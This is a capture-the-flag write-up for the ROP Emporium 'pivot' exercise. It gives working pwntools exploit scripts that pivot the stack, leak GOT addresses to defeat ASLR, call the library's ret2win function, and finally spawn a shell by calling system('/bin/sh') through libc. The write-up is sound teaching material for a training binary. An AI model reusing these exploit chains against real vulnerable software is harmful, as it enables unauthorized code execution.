7. pivot
the seventh challenge, in this challenge, the objective is to call a function
ret2win
that lives within an imported library and the stack is only small
enough for a small rop chain, but the challenge provides us a space address
with an address pointing to it. so we can write our full ropchain there and
then "pivot" into that address.
there're several gadgets for us to work on within the binary
$ objdump -M intel --disassemble=usefulGadgets -S pivot
pivot: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .text:
00000000004009bb <usefulGadgets>:
4009bb: 58 pop rax
4009bc: c3 ret
4009bd: 48 94 xchg rsp,rax
4009bf: c3 ret
4009c0: 48 8b 00 mov rax,QWORD PTR [rax]
4009c3: c3 ret
4009c4: 48 01 e8 add rax,rbp
4009c7: c3 ret
4009c8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
4009cf: 00
we can use pop rax; ret; xchg rsp, rax; ret
to change the stack point to our
pivot address.
let's look into what's inside the binary.
gef⤠i func
All defined functions:
Non-debugging symbols:
0x00000000004006a0 _init
0x00000000004006d0 free@plt
0x00000000004006e0 puts@plt
0x00000000004006f0 printf@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 foothold_function@plt
0x0000000000400730 malloc@plt
0x0000000000400740 setvbuf@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x00000000004008f1 pwnme
0x00000000004009a8 uselessFunction
0x00000000004009bb usefulGadgets
0x00000000004009d0 __libc_csu_init
0x0000000000400a40 __libc_csu_fini
0x0000000000400a44 _fini
there's one function that is imported from libpivot
into the binary which is
foothold_function
but there's no ret2win
imported, does that mean we can't call ret2win
?
no, ret2win
is still possible to be call if we leaked the address of foothold_function
and calculate the address to ret2win
it is possible to be called.
okay, if you did not read the beginner's guide of ROP Emporium yet, consider reading it now otherwise it won't make that much sense going forword.
alright, now what do we have to do to leak the address of foothold_function
?
from the description of the challenge, the function is imported but is not used
so the got.plt
of foothold_function
is not updated yet, what we have to do
here is to call it using our rop chain and then leak the updated address in got.plt
.
after that we can use puts
to leak the address of the updated got.plt
of
foothold_function
then, use it to calculate the address in the library itself
so that we get the base address of the library, then we can simply take the offset
of ret2win
and add it to the base address to get the runtime address of ret2win
.
after that we can call main
again and send new chain with the address of ret2win
.
let's craft the chain to do so.
from pwn import *
elf = context.binary = ELF("./pivot")
libpivot = ELF("./libpivot.so")
rop = ROP(elf)
p = process()
# gdb.attach(p, "break foothold_function")
padding = b"x" * 40
main_plt = elf.symbols["main"]
foothold_plt = elf.plt["foothold_function"]
foothold_got = elf.got["foothold_function"]
puts_plt = elf.plt["puts"]
p.recvuntil(b"libpivot\n")
pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")
payload = p64(foothold_plt) + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(foothold_got) + p64(puts_plt) + p64(main_plt)
p.sendline(payload)
p.clean()
xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))
p.recvline()
p.recvline()
leak_foothold_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_foothold_bytes.reverse()
leak_foothold = int.from_bytes(leak_foothold_bytes)
log.info(f"leaked foothold {hex(leak_foothold)}")
base_libpivot = leak_foothold - libpivot.symbols["foothold_function"]
ret2win = base_libpivot + libpivot.symbols["ret2win"]
log.info(f"ret2win location: {hex(ret2win)}, we are jumping now!")
p.clean()
p.sendline(padding + p64(ret2win))
p.interactive()
let's try it.
$ python solve.py
[*] '/home/kali/ctf/rop/pivot/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] '/home/kali/ctf/rop/pivot/libpivot.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 15 cached gadgets for './pivot'
[+] Starting local process '/home/kali/ctf/rop/pivot/pivot': pid 1837
[*] pivot location: 0x7efc12619f10
[*] leaked foothold 0x7efc1280096a
[*] ret2win location: 0x7efc12800a81, we are jumping now!
[*] Switching to interactive mode
[*] Process '/home/kali/ctf/rop/pivot/pivot' stopped with exit code 0 (pid 1837)
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
very nice, now that we have this knowledge, we can just leak the address of libc
to get a shell by calling system
with /bin/sh
as an argument. you should
try it yourself.
hmm?
from pwn import *
elf = context.binary = ELF("./pivot")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
p = process()
# gdb.attach(p, "break foothold_function")
padding = b"x" * 40
main_plt = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
p.recvuntil(b"libpivot\n")
pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")
payload = p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(puts_got) + p64(puts_plt) + p64(main_plt)
p.sendline(payload)
p.clean()
xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))
p.recvline()
leak_puts_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_puts_bytes.reverse()
leak_puts = int.from_bytes(leak_puts_bytes)
log.info(f"leaked puts {hex(leak_puts)}")
base_libc = leak_puts - libc.symbols["puts"]
bin_sh = base_libc + next(libc.search(b"/bin/sh"))
system = base_libc + libc.symbols["system"]
log.info(f"system location: {hex(system)} with arg {hex(bin_sh)}, we are jumping now!")
p.clean()
p.sendline(padding + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(bin_sh) + p64(system))
p.interactive()
there's also other ways to solve this challenge such as writing got.plt
with
something else, or use one_gadget or loading got.plt
into memory, modify it
and call it using call reg
. but i've had enough of it so, nicesu nicesu!!